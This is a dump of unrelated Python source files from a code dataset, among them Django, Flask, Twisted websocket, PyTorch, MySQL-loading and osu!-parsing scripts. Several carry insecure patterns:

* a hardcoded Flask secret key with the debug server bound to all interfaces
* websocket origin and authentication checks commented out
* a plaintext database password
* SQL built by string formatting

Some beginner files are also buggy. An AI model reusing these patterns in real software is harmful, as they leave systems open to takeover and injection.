only\nparse_course('page.php?Semester=1172&Type=Group&Group=CompSci')\nparse_course('page.php?Semester=1172&Type=Group&Group=Mathematics')\n\n# save data into json\noutput = open(\"courses.json\", \"w\")\ncourse_data = json.dumps(tabs)\noutput.write(course_data)\noutput.close()\noutput = open(\"instructors.json\", \"w\")\ninstructor_data = json.dumps(ins)\noutput.write(instructor_data)\noutput.close()\n","sub_path":"models/fixture_201612/parse_data.py","file_name":"parse_data.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"69030351","text":"from django.urls import path\nfrom .views import *\nfrom profiles import views\nfrom .forms import *\n\n\n\napp_name = 'profiles'\n\nurlpatterns = [\n path('', ProfileListView.as_view(), name='all-profiles-view'),\n path('myprofile/', my_profile_view, name='my-profile-view'),\n path('my-invites/', invites_received_view, name='my-invites-view'),\n path('to-invite/', invite_profiles_list_view, name='invite-profiles-view'),\n path('send-invite/', send_invatation, name='send-invite'),\n path('remove-friend/', remove_from_friends, name='remove-friend'),\n path('/', ProfileDetailView.as_view(), name='profile-detail-view'),\n path('my-invites/acctept/', accept_invatation, name='accept-invite'),\n path('my-invites/reject/', reject_invatation, name='reject-invite'),\n path('register',views.register,name='register'),\n path('login',views.login_id,name='login'),\n path('logout',views.logout_id,name='logout'),\n]","sub_path":"profiles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"213954110","text":"import time\nimport concurrent.futures\n\n\ndef do_something(seconds: int) -> str:\n print(\"Sleeping {}s...\".format(seconds))\n time.sleep(seconds)\n return \"Done Sleeping...{}s\".format(seconds)\n\n\nif __name__ == '__main__':\n start = time.perf_counter()\n\n with concurrent.futures.ThreadPoolExecutor() as executor:\n my_args: tuple = (5, 4, 3, 2, 1)\n\n my_futures = executor.map(do_something, my_args) # return results by the order that they were started\n\n for f in my_futures: # join all threads\n try:\n print(f) # exception will be raised when retrieving result\n except Exception as e:\n print(e)\n\n finish = time.perf_counter()\n\n print(f'Finished in {round(finish - start, 2)} second(s)')\n","sub_path":"threading_futures/sleeping_map.py","file_name":"sleeping_map.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"109340028","text":"#!/usr/bin/python\nimport re\ndict= {}\nfile = open('data.txt','r')\nprint(\"nom du fichier : \" , file.name)\nfor line in file :\n print(line)\n\nfor line in file :\n nline=line.rstrip()\n var = nline.split(\",\")\n val= var[0].replace(\"\",\"\")\n dict[val]= int(var[1])\n\n print('tab sans tri')\n print(dict)\n print(\"\\n\")\n\n t = [(v, k) for k, v in dict.items()]\n t.sort()\n\n print(\" trié par valeur: \")\n t = [(k, v) for v, k in t]\n print(t)\n\n\n #creation fichier warning\nJ=[]\nwith open('jenkins.dat', 'r', encoding='utf-8') as fIn:\n for line in fIn.readlines():\n if \"WARNING\" in line:\n J.append(line)\nwith open('sy.ret', 'w', encoding='utf-8') as fOut:\n fOut.writelines(J)\n\n\n\n\n#boucle while\n\nb = 10# On garde la variable contenant le nombre dont on veut la table de multiplication\na = 0 # C'est notre variable compteur que nous allons incrémenter dans la boucle\n\nwhile a < 10: # Tant que i est strictement inférieure à 10\n print(a + 1, \"*\", b, \"=\", (a + 1) * b)\n a += 1 # On incrémente i de 1 à chaque tour de boucle\n\n #boucle affichant le nombre s'il est impair\n\nc = 9\n\nwhile c != 0: # tant que le c est different de zero\n\n c -= 1 #decrementé c\n if c % 2 == True: # verifier le reste de la division\n\n print(c) # afficher C\n\n# base de donnée\n\n #creation tableau vide\nmondic= dict()\n\n # fonction remplissage du dictionnaire\ndef remplir(nom, age ,taille):\n for line in dict:\n line[nom]\n line[age]\n line[taille]\n\n #fonction de consultation\ndef consultation():\n for line in dict:\n line.get[\"nom\"]\n line.get[\"age\"]\n line.get[\"taille\"]\n return print(line)\n\n\n \n\nmondic={}\nmondic[(\"age\",\"taille\")] =\"nom\"","sub_path":"exemple4_SY.py","file_name":"exemple4_SY.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"378862707","text":"#! pytest\n\n\nimport attr\nimport pytest\nfrom hexbytes import HexBytes\nfrom marshmallow import ValidationError\nfrom tldeploy import identity\nfrom web3.datastructures import AttributeDict\n\nfrom relay.api import schemas\nfrom relay.blockchain.currency_network_events import TransferEvent\nfrom relay.network_graph.payment_path import FeePayer, PaymentPath\n\na_valid_meta_transaction = identity.MetaTransaction(\n from_=\"0xF2E246BB76DF876Cef8b38ae84130F4F55De395b\",\n to=\"0x51a240271AB8AB9f9a21C82d9a85396b704E164d\",\n chain_id=0,\n value=0,\n data=bytes.fromhex(\n \"46432830000000000000000000000000000000000000000000000000000000000000000a\"\n ),\n nonce=1,\n signature=bytes.fromhex(\n \"6d2fe56ef6648cb3f0398966ad3b05d891cde786d8074bdac15bcb92ebfa722248\"\n \"9b8eb6ed87165feeede19b031bb69e12036a5fa13b3a46ad0c2c19d051ea9101\"\n ),\n)\n\n\nweb3_transfer_event = AttributeDict(\n {\n \"args\": AttributeDict(\n {\n \"_from\": \"0xF2E246BB76DF876Cef8b38ae84130F4F55De395b\",\n \"_to\": \"0x51a240271AB8AB9f9a21C82d9a85396b704E164d\",\n \"_value\": 10,\n \"_extraData\": HexBytes(\"0x\"),\n }\n ),\n \"event\": \"Transfer\",\n \"logIndex\": 0,\n \"transactionIndex\": 0,\n \"transactionHash\": HexBytes(\n \"0xfb95ccb6ab39e19821fb339dee33e7afe2545527725b61c64490a5613f8d11fa\"\n ),\n \"address\": \"0xF2E246BB76DF876Cef8b38ae84130F4F55De395b\",\n \"blockHash\": HexBytes(\n \"0xd74c3e8bdb19337987b987aee0fa48ed43f8f2318edfc84e3a8643e009592a68\"\n ),\n \"blockNumber\": 3,\n }\n)\n\n\ndef gen_meta_transactions():\n mt = a_valid_meta_transaction\n return [\n mt,\n attr.evolve(mt, data=b\"\"),\n attr.evolve(mt, nonce=0),\n attr.evolve(mt, value=1234),\n attr.evolve(mt, nonce=2 ** 256 - 1),\n attr.evolve(mt, data=HexBytes(\"0xab\")),\n ]\n\n\n@pytest.mark.parametrize(\"meta_transaction\", gen_meta_transactions())\ndef test_meta_transaction_roundtrip(meta_transaction):\n dumped = schemas.MetaTransactionSchema().dump(meta_transaction)\n print(\"DUMPED\", dumped)\n\n loaded = schemas.MetaTransactionSchema().load(dumped)\n print(\"LOADED\", loaded)\n\n assert loaded == meta_transaction\n\n\n@pytest.mark.parametrize(\n \"values\",\n [\n dict(nonce=\"-1\"),\n dict(nonce=1),\n dict(nonce=str(2 ** 256)),\n dict(data=\"\"),\n dict(data=\"0xa\"),\n dict(data=\"0xgg\"),\n dict(data=\"x00\"),\n dict(value=\"-1\"),\n dict(value=str(2 ** 256)),\n dict(value=\"1.5\"),\n dict(signature=\"\"),\n dict(signature=\"0x\" + \"00\" * 64),\n dict(signature=\"0x\" + \"00\" * 66),\n ],\n)\ndef test_load_meta_transaction_invalid_values(values):\n dumped = schemas.MetaTransactionSchema().dump(a_valid_meta_transaction)\n dumped.update(values)\n with pytest.raises(ValidationError):\n schemas.MetaTransactionSchema().load(dumped)\n\n\n@pytest.mark.parametrize(\n \"values\",\n [\n dict(nonce=\"1\"),\n dict(data=\"0x00\"),\n dict(data=\"0xff\"),\n dict(feeRecipient=\"0x\" + \"1\" * 40),\n dict(nonce=str(2 ** 256 - 1)),\n dict(value=\"1\"),\n dict(value=str(2 ** 256 - 1)),\n dict(value=\"15\"),\n dict(signature=\"0x\" + \"00\" * 65),\n ],\n)\ndef test_load_meta_transaction_valid_values(values):\n dumped = schemas.MetaTransactionSchema().dump(a_valid_meta_transaction)\n dumped.update(values)\n # If the load fails, a `` is raised\n schemas.MetaTransactionSchema().load(dumped)\n\n\n@pytest.fixture(params=[FeePayer.SENDER, FeePayer.RECEIVER])\ndef payment_path(request):\n\n cost = 1\n path = []\n value = 1\n fee_payer = request.param\n\n return PaymentPath(cost, path, value, fee_payer=fee_payer)\n\n\ndef test_payment_path_roundtrip(payment_path):\n\n dumped = schemas.PaymentPathSchema().dump(payment_path)\n print(\"DUMPED\", dumped)\n\n loaded = schemas.PaymentPathSchema().load(dumped)\n print(\"LOADED\", loaded)\n\n assert loaded == payment_path\n\n\ndef test_no_class_type_in_event():\n event = TransferEvent(web3_transfer_event, 10, 1000)\n\n dumped = schemas.AnyEventSchema().dump(event)\n\n assert dumped.get(schemas.AnyEventSchema.type_field) is None\n assert dumped[\"amount\"] == str(event.value)\n assert dumped[\"from\"] == event.from_\n assert dumped[\"extraData\"] == event.extra_data.hex()\n","sub_path":"tests/unit/api/test_schemas.py","file_name":"test_schemas.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"601244048","text":"from flask import Flask\nfrom flask import url_for, redirect, render_template\n\nfrom helperFunction import average\n\n#########\n# Managing database imports\n\nfrom datasetup import Base, User, Article\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import create_engine\n\nengine = create_engine(\"sqlite:///database.db\")\n\nBase.metadata.bind = engine\n\ndbsession = sessionmaker(bind=engine)\nsession = dbsession()\n\n#\n#######\n\n\napp = Flask(__name__)\n\n\n# this defenition load the main page of website\n@app.route('/')\ndef hello():\n \n return render_template('index.html')\n # render_template is used for rendering html file in flask app\n \n\n \n# Login page will load\n@app.route('/login')\ndef login():\n return render_template(\"login.html\")\n\n## \n# wrong about comment it is good to remember everything\n##\n \n\n\nif __name__ == '__main__':\n app.secret_key = 'super_secret_key'\n app.debug = True\n app.run(host='0.0.0.0', port=8080)\n","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"199495377","text":"from django.contrib import admin\nfrom webapp.models import Poll, Choice, Answer\n\n# Register your models here.\n\nclass PollAdmin(admin.ModelAdmin):\n list_display = ['id', 'question', 'created_at']\n list_filter = ['created_at', 'question']\n search_fields = ['question']\n fields = ['id', 'question']\n readonly_fields = ['created_at','id']\n\nclass ChoiceAdmin(admin.ModelAdmin):\n list_display = ['id', 'choice_text', 'poll']\n list_filter = ['poll']\n search_fields = ['choice_text']\n fields = ['id', 'choice_text', 'poll']\n readonly_fields = ['id']\n\nclass AnswerAdmin(admin.ModelAdmin):\n list_display = ['id', 'choice', 'poll', 'created_at']\n list_filter = ['poll']\n search_fields = ['poll', 'choice']\n fields = ['id', 'choice', 'poll']\n readonly_fields = ['id', 'created_at']\n\nadmin.site.register(Poll, PollAdmin)\nadmin.site.register(Choice, ChoiceAdmin)\nadmin.site.register(Answer, AnswerAdmin)\n","sub_path":"poll/webapp/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"648905649","text":"import torch\nfrom torch.autograd import Variable\nimport torch.utils.data as Data\nimport matplotlib.pyplot as plt\nimport torchvision\n\nclass CNN(torch.nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n self.conv1 = torch.nn.Sequential(\n # 卷积 1 , 28 , 28\n torch.nn.Conv2d(\n # 输入图片高度\n in_channels=1,\n # 输出高度\n out_channels=16,\n # 建立一个5*5的扫描仪\n kernel_size=5,\n # 步长\n stride=1,\n # 包?几圈0\n padding=2,\n ), # 16 * 28 * 28\n # 损失函数\n torch.nn.ReLU(), # 16 , 28 , 28\n # 池化\n torch.nn.MaxPool2d(\n # 建立一个2*2的扫描仪\n kernel_size=2,\n ), # 16 , 14 , 14\n )\n self.conv2 = torch.nn.Sequential( # 16 , 14 , 14\n torch.nn.Conv2d(16, 32, 5, 1, 2), # 32 , 14 , 14\n torch.nn.ReLU(), # 32 , 14 , 14\n torch.nn.MaxPool2d(2) # 32 , 7 , 7\n )\n self.out = torch.nn.Linear(32 * 7 * 7, 10)\n\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x) # (biach, 32, 7, 7)\n x = x.view(x.size(0), -1) # (biach, 32 * 7 * 7)\n output = self.out(x)\n return output\n","sub_path":"2020-02-11/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"155381459","text":"# Game Settings\n\nTITLE = \"Groggio!\"\nWIDTH = 480\nHEIGHT = 600\nFPS = 60\nFONT_NAME = 'arial'\nHS_FILE = \"highscore.txt\"\nSPRITESHEET = \"spritesheet_jumper.png\"\n\n#Player Properties\nPLAYER_ACC = 0.5\nPLAYER_FRICTION = -0.12\nPLAYER_GRAV = 0.8\nPLAYER_JUMP = 20\n\n# Game Properties\nBOOST_POWER = 40\nPOWER_SPAWN_PERCENT = 6\nMOB_FREQ = 5000\nPLAYER_LAYER = 2\nPLATFORM_LAYER = 1\nPOWERUP_LAYER = 1\nMOB_LAYER = 2\nCLOUD_LAYER = 0\n\n# Starting platofroms\nPLATFORM_LIST = [(0, HEIGHT - 60),\n (WIDTH / 2 - 50, HEIGHT * 3 / 4),\n (125, HEIGHT - 350),\n (175, 100)]\n\n#define colors\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nYELLOW = (255, 255, 0)\nLIGHTBLUE = (0, 155, 155)\nBGCOLOR = LIGHTBLUE\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"528077962","text":"import pymysql as py\ndb=py.connect(host='localhost',\n user='root',\n password='a18839112505',\n port=3306,\n db='weather')\ncursor=db.cursor()\n#cursor.execute('DROP TABLE IF EXISTS douban_analysis')\n#sql='CREATE TABLE douban_analysis(id INT AUTO_INCREMENT,name CHAR(255),url CHAR(255),score INT,derector CHAR(255),composer CHAR(255),actor CHAR(255),category CHAR(255),district CHAR(255),language CHAR(255),showtime CHAR(255),length CHAR(255),othername CHAR(255),description CHAR(255),PRIMARY KEY (id))engine=InnoDB DEFAULT CHARSET UTF8MB4'\n#cursor.execute(sql)\nf=open('C:/Users/576670267/Desktop/new_douban.txt','r',encoding='utf-8')\nn=0\nwhile True:\n fr=f.readline()\n if len(fr):\n info=fr.split('^',13)\n name=info[1]\n url=info[2]\n score=info[4]\n derector=info[5].split('/')[0]\n composer=info[6].split('/')[0]\n actor=info[7].split('/')[0]\n category=info[8]\n district=info[9]\n language=info[10]\n showtime=info[11]\n length=info[12]\n othername=info[13]\n sql1='''INSERT INTO douban_analysis (name,url,score,derector,composer,actor,category,district,language,showtime,length,othername) VALUES('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')'''%(name,url,score,derector,composer,actor,category,district,language,showtime,length,othername)\n cursor.execute(sql1)\n db.commit()\n n=n+1\n if n==100:\n print('已输入%s个'%n)\n else:\n break\nf.close()\ndb.close()\n\n\n","sub_path":"douban-sql.py","file_name":"douban-sql.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"215674622","text":"import os\nimport sys\nimport json\n\nfrom twisted.internet import reactor, protocol, defer, task, defer\nfrom twisted.python import log\nfrom autobahn.twisted.websocket import WebSocketServerProtocol, WebSocketServerFactory\nfrom autobahn.websocket.types import ConnectionDeny\n\n\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'theorema.settings')\nimport django\ndjango.setup()\nfrom django.http.cookie import parse_cookie\nfrom django.contrib.sessions.models import Session\nfrom django.contrib.auth.models import User\nfrom django.conf import settings\n\nfrom theorema.cameras.models import *\n\n\nclass WSP(WebSocketServerProtocol):\n user = None\n cameras = set()\n\n def check_origin(self, origin):\n if origin not in settings.allowed_hosts:\n raise ConnectionDeny(404)\n\n def check_auth(self, cookie):\n session_key = cookie.get(settings.SESSION_COOKIE_NAME, '')\n try:\n session = Session.objects.get(session_key=session_key)\n user_id = session.get_decoded().get('_auth_user_id')\n self.user = User.objects.get(id=user_id, is_active=True)\n except:\n raise ConnectionDeny(403)\n\n def onConnect(self, request):\n origin = request.headers.get('origin', '')\n# self.check_origin(origin)\n cookie = parse_cookie(request.headers.get('cookie', ''))\n# self.check_auth(cookie)\n return super().onConnect(request)\n\n def onOpen(self):\n self.factory.connections_list.append(self)\n self.factory.pings_lost[self.peer] = 0\n print('opened', self.factory.connections_list)\n self.run = True\n self.doPing()\n\n def onMessage(self, payload, isBinary):\n print('user incoming', payload, flush=True)\n message = json.loads(payload.decode())\n if 'subscribe' in message:\n self.cameras = set(message['subscribe'])\n print('subscribe ok', flush=True)\n if 'reaction' in message:\n server_address = Camera.objects.get(id=message['camera_id']).server.address\n if server_address in worker_servers:\n worker_servers[server_address].transport.write(payload)\n print('reaction sent to worker server', flush=True)\n return\n\n def doPing(self):\n if self.run:\n if self.factory.pings_lost[self.peer] >= 3:\n print('closing due to timeout')\n self.sendClose()\n else:\n self.sendPing()\n self.factory.pings_lost[self.peer] += 1\n reactor.callLater(20, self.doPing)\n\n def onPong(self, payload):\n self.factory.pings_lost[self.peer] = 0\n\n def onClose(self, wasClean, code, reason):\n self.run = False\n self.factory.connections_list.remove(self)\n self.factory.pings_lost.pop(self.peer, None)\n\n\nclass ServerListener(protocol.Protocol):\n def connectionMade(self):\n peer = self.transport.getPeer()\n worker_servers[peer.host] = self # port?\n\n def dataReceived(self, data):\n print('server incoming', data, flush=True)\n message = json.loads(data.decode())\n for c in factory.connections_list:\n print(c.cameras, message['camera_id'], message['camera_id'] in c.cameras, flush=True)\n if message['camera_id'] in c.cameras:\n print('sending...', flush=True)\n c.sendMessage(data, False)\n print('sended', flush=True)\n\n\nclass ServerListenerClientFactory(protocol.ReconnectingClientFactory):\n def buildProtocol(self, addr):\n self.resetDelay()\n return ServerListener()\n\n\nlog.startLogging(sys.stdout)\nfactory = WebSocketServerFactory('ws://127.0.0.1:8077')\nfactory.protocol = WSP\nfactory.setProtocolOptions(maxConnections=1000)\nfactory.connections_list = []\nfactory.pings_lost = {}\n\nreactor.listenTCP(8077, factory)\n\nworker_servers = dict()\n\nfor server in Server.objects.all():\n print('server', server.address)\n reactor.connectTCP(server.address, 5006, ServerListenerClientFactory())\n\nreactor.run()\n","sub_path":"events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":4051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"460547044","text":"from django.conf import settings\nfrom django.http import HttpResponsePermanentRedirect, Http404\nfrom django.views.generic import ListView, DetailView\nfrom django.db.models import get_model\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom oscar.core.loading import get_class\nfrom oscar.apps.catalogue.signals import product_viewed, product_search\n\nfrom apps.catalogue import forms\nfrom django.views.generic.edit import FormMixin\n\nProduct = get_model('catalogue', 'product')\nProductReview = get_model('reviews', 'ProductReview')\nCategory = get_model('catalogue', 'category')\nProductAlert = get_model('customer', 'ProductAlert')\nProductAlertForm = get_class('customer.forms', 'ProductAlertForm')\n\n\nclass ProductDetailView(FormMixin, DetailView):\n context_object_name = 'product'\n model = Product\n form_class = forms.GatewayForm\n view_signal = product_viewed\n template_folder = \"catalogue\"\n\n def get(self, request, **kwargs):\n # Ensure that the correct URL is used\n product = self.get_object()\n\n if product.is_variant:\n return HttpResponsePermanentRedirect(product.parent.get_absolute_url())\n\n correct_path = product.get_absolute_url()\n if correct_path != request.path:\n return HttpResponsePermanentRedirect(correct_path)\n\n response = super(ProductDetailView, self).get(request, **kwargs)\n self.send_signal(request, response, product)\n return response\n\n def get_object(self):\n # Use a cached version to prevent unnecessary DB calls\n if not hasattr(self, '_product'):\n setattr(\n self, '_product', super(ProductDetailView, self).get_object())\n return self._product\n\n def get_context_data(self, **kwargs):\n ctx = super(ProductDetailView, self).get_context_data(**kwargs)\n ctx['reviews'] = self.get_reviews()\n ctx['product'] = self.get_object()\n ctx['alert_form'] = self.get_alert_form()\n ctx['has_active_alert'] = self.get_alert_status()\n form_class = self.get_form_class()\n ctx['form'] = self.get_form(form_class)\n return ctx\n\n def get_alert_status(self):\n # Check if this user already have an alert for this product\n has_alert = False\n if self.request.user.is_authenticated():\n alerts = ProductAlert.objects.filter(\n product=self.object, user=self.request.user,\n status=ProductAlert.ACTIVE)\n has_alert = alerts.count() > 0\n return has_alert\n\n def get_alert_form(self):\n return ProductAlertForm(\n user=self.request.user, product=self.object)\n\n def get_reviews(self):\n return self.object.reviews.filter(status=ProductReview.APPROVED)\n\n def send_signal(self, request, response, product):\n self.view_signal.send(\n sender=self, product=product, user=request.user, request=request,\n response=response)\n\n def get_template_names(self):\n \"\"\"\n Return a list of possible templates.\n\n We try 2 options before defaulting to catalogue/detail.html:\n 1). detail-for-upc-.html\n 2). detail-for-class-.html\n\n This allows alternative templates to be provided for a per-product\n and a per-item-class basis.\n \"\"\"\n product = self.get_object()\n return [\n '%s/detail-for-upc-%s.html' % (\n self.template_folder, product.upc),\n '%s/detail-for-class-%s.html' % (\n self.template_folder, product.get_product_class().name.lower()),\n '%s/detail.html' % (self.template_folder)]\n\n\ndef get_product_base_queryset():\n \"\"\"\n Return ``QuerySet`` for product model with related\n content pre-loaded. The ``QuerySet`` returns unfiltered\n results for further filtering.\n \"\"\"\n return Product.browsable.select_related(\n 'product_class',\n ).prefetch_related(\n 'variants',\n 'product_options',\n 'product_class__options',\n 'stockrecord',\n 'images',\n ).all()\n\n","sub_path":"sites/scraperShop/apps/catalogue/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"409537883","text":"#!/usr/bin/env python3\n\nfrom argparse import ArgumentParser\nfrom pegparse import create_parser_from_file\n\nclass BibtexEntry:\n def __init__(self, bibtex_type, library_id):\n self.bibtex_type = bibtex_type\n self.library_id = library_id\n self.attributes = {}\n\ndef read_bibtex_file(file):\n parser = create_parser_from_file(\"bibtex.ebnf\")\n with open(file) as fd:\n bibtex = fd.read()\n entries = {}\n for entry_ast in parser.parse(bibtex, \"BibtexFile\").descendants(\"BibtexEntry\"):\n bibtex_type = entry_ast.first_descendant(\"BibtexType\").match\n library_id = entry_ast.first_descendant(\"EntryID\").match\n entry = BibtexEntry(bibtex_type, library_id)\n for field_ast in entry_ast.descendants(\"BibtexFieldValue\"):\n field = field_ast.first_descendant(\"BibtexField\").match\n value = field_ast.first_descendant(\"BibtexValue\").match\n entry.attributes[field] = value\n entries[entry.library_id] = entry\n return entries\n\ndef verify(entries):\n # make sure all books(collections) have the same address, editor, month, publisher, and year\n # make sure all journals have the same publisher\n pass\n\ndef main():\n arg_parser = ArgumentParser()\n arg_parser.add_argument(\"--conferences\", dest=\"action\", action=\"store_const\", const=\"print-conferences\")\n arg_parser.add_argument(\"--journals\", dest=\"action\", action=\"store_const\", const=\"print-journals\")\n arg_parser.add_argument(\"--organizations\", dest=\"action\", action=\"store_const\", const=\"print-organizations\")\n arg_parser.add_argument(\"--people\", dest=\"action\", action=\"store_const\", const=\"print-people\")\n arg_parser.add_argument(\"--publishers\", dest=\"action\", action=\"store_const\", const=\"print-publishers\")\n arg_parser.add_argument(nargs=\"+\", dest=\"files\")\n args = arg_parser.parse_args()\n entries = {}\n for file in args.files:\n entries.update(read_bibtex_file(file))\n if args.action == \"print-conferences\":\n print(\"\\n\".join(entry.attributes[\"booktitle\"] for entry in entries.values() if entry.bibtex_type == \"inproceedings\" and \"booktitle\" in entry.attributes))\n elif args.action == \"print-journals\":\n print(\"\\n\".join(entry.attributes[\"journal\"] for entry in entries.values() if entry.bibtex_type == \"article\" and \"journal\" in entry.attributes))\n elif args.action == \"print-organizations\":\n for entry in entries.values():\n for role in (\"institution\", \"school\"):\n if role in entry.attributes:\n print(entry.attributes[role])\n elif args.action == \"print-people\":\n for entry in entries.values():\n for role in (\"author\", \"editor\"):\n if role in entry.attributes:\n for actor in entry.attributes[role].split(\" and \"):\n print(actor)\n elif args.action == \"print-publishers\":\n print(\"\\n\".join(entry.attributes[\"publisher\"] for entry in entries.values() if \"publisher\" in entry.attributes))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"biblint.py","file_name":"biblint.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"523069597","text":"\"\"\"Wxs for variant counts.\"\"\"\nimport argparse, pandas, csv\nfrom collections import defaultdict\nimport wxs_tools\nfrom enrich_tools import *\n\nIGNORE = ('TARGET-10-PATYMP-10A-01D_ALL_ASI/HIS_SRR1783486',\n 'TARGET-10-PATBYK-10A-01D_ALL_EU_SRR2990566',\n 'TARGET-10-PASYCN-10A-01D_ALL_EU_SRR1949682',\n 'TARGET-10-PASRMM-10A-01D_ALL_EU_SRR1783541',\n 'TARGET-10-PASIIY-10A-01D_ALL_??_SRR2990559',\n 'TARGET-10-PAPEZR-10A-01D_ALL_AFR_SRR2990558',\n 'TARGET-10-PANZZI-10A-01D_ALL_EU_SRR2990557',\n 'TARGET-50-PAKECR-11A-01D_WT_EU_SRR566197',\n 'TARGET-50-PAJMVC-11A-01D_WT_AFR_SRR566204',\n 'TARGET-30-NAABZL-15C-01D_NBL_EU_SRR1066840',\n 'TARGET-50-CAAAAR-11A-01D_WT_EU_SRR566156'\n )\n\ndef load_wxs_sample_count(sample_file, hist, pop):\n count = 0\n use_samples = {}\n with open(sample_file) as f:\n reader = csv.DictReader(f, delimiter='\\t')\n for row in reader:\n ssr, tgt = row['ssr'], row['tgt']\n key = tgt + '_' + ssr\n if not key in IGNORE:\n ahist = tgt.split('_')[-2]\n apop = tgt.split('_')[-1]\n if (pop == 'every' or apop == pop) and (hist == 'every' or ahist == hist):\n count += 1\n use_samples[ tgt.split('_')[0] ] = True\n return count, use_samples\n\ndef main(args):\n only_naz_flag = args.just_naz == 'True'\n tgt_sample_count, use_samples = load_wxs_sample_count(args.sampleFile, args.hist, args.pop)\n wxs_tools.dump_wxs(args.varFile, use_samples, args.var_or_sample_counting, args.used_tgt_vars,\n only_naz_flag, args.var_type, args.pop == 'every',\n args.out_file, args.out_pickle_pos, args.full_support_out)\n\nif __name__ == \"__main__\":\n desc = 'Cgi vs exac, var counts.'\n parser = argparse.ArgumentParser(description=desc)\n argLs = ('just_naz', 'var_type', 'var_or_sample_counting',\n 'pop', 'hist', 'varFile', 'sampleFile',\n 'used_tgt_vars', 'out_file', 'out_pickle_pos',\n 'full_support_out')\n for param in argLs:\n parser.add_argument(param)\n args = parser.parse_args()\n main(args)\n","sub_path":"code/scripts/dump_wxs.py","file_name":"dump_wxs.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"150378996","text":"import json\n\nfrom .utils import *\nfrom .map import LocalMap\nfrom .score import LocalScore\n\n\nclass OsuDB:\n def __init__(self, client, path):\n self.client = client\n with open(path, \"rb\") as db:\n self.version = read_int(db)\n self.folder_count = read_int(db)\n self.account_unlocked = read_bool(db)\n self.date_unlocked = read_datetime(db)\n self.player_name = read_string(db)\n self.number_of_beatmaps = read_int(db)\n self.maps = {}\n self.map_dicts = {}\n self.id_to_hash = {}\n for _ in range(self.number_of_beatmaps):\n map_info = {}\n if self.version < 20191106:\n map_info[\"file_size\"] = read_int(db)\n else:\n map_info[\"file_size\"] = -1\n map_info[\"osu_version\"] = self.version\n map_info[\"artist\"] = read_string(db)\n map_info[\"artist_unicode\"] = read_string(db)\n map_info[\"title\"] = read_string(db)\n map_info[\"title_unicode\"] = read_string(db)\n map_info[\"creator\"] = read_string(db)\n map_info[\"version\"] = read_string(db) # difficulty name\n map_info[\"audio_filename\"] = read_string(db)\n map_info[\"file_md5\"] = read_string(db)\n map_info[\"filename\"] = read_string(db)\n ranked_status = read_byte(db) # why is this different to the online api\n map_info[\"approved\"] = ranked_status - 3 if ranked_status >= 4 else -2\n map_info[\"count_normal\"] = read_short(db)\n map_info[\"count_slider\"] = read_short(db)\n map_info[\"count_spinner\"] = read_short(db)\n map_info[\"last_mod_time\"] = read_datetime(db)\n if self.version < 20140609:\n map_info[\"diff_approach\"] = int(read_byte(db))\n map_info[\"diff_size\"] = int(read_byte(db))\n map_info[\"diff_drain\"] = int(read_byte(db))\n map_info[\"diff_overall\"] = int(read_byte(db))\n else:\n map_info[\"diff_approach\"] = read_single(db)\n map_info[\"diff_size\"] = read_single(db)\n map_info[\"diff_drain\"] = read_single(db)\n map_info[\"diff_overall\"] = read_single(db)\n map_info[\"slider_velocity\"] = read_double(db)\n if self.version >= 20140609:\n no_pairs = read_int(db)\n map_info[\"standard_star_ratings\"] = [\n read_int_double(db) for _ in range(no_pairs)\n ]\n no_pairs = read_int(db)\n map_info[\"taiko_star_ratings\"] = [\n read_int_double(db) for _ in range(no_pairs)\n ]\n no_pairs = read_int(db)\n map_info[\"ctb_star_ratings\"] = [\n read_int_double(db) for _ in range(no_pairs)\n ]\n no_pairs = read_int(db)\n map_info[\"mania_star_ratings\"] = [\n read_int_double(db) for _ in range(no_pairs)\n ]\n map_info[\"drain_time\"] = read_int(db)\n map_info[\"total_length\"] = read_int(db)\n map_info[\"preview_start_time\"] = read_int(db)\n no_timing = read_int(db)\n map_info[\"timing_points\"] = [read_timing(db) for _ in range(no_timing)]\n 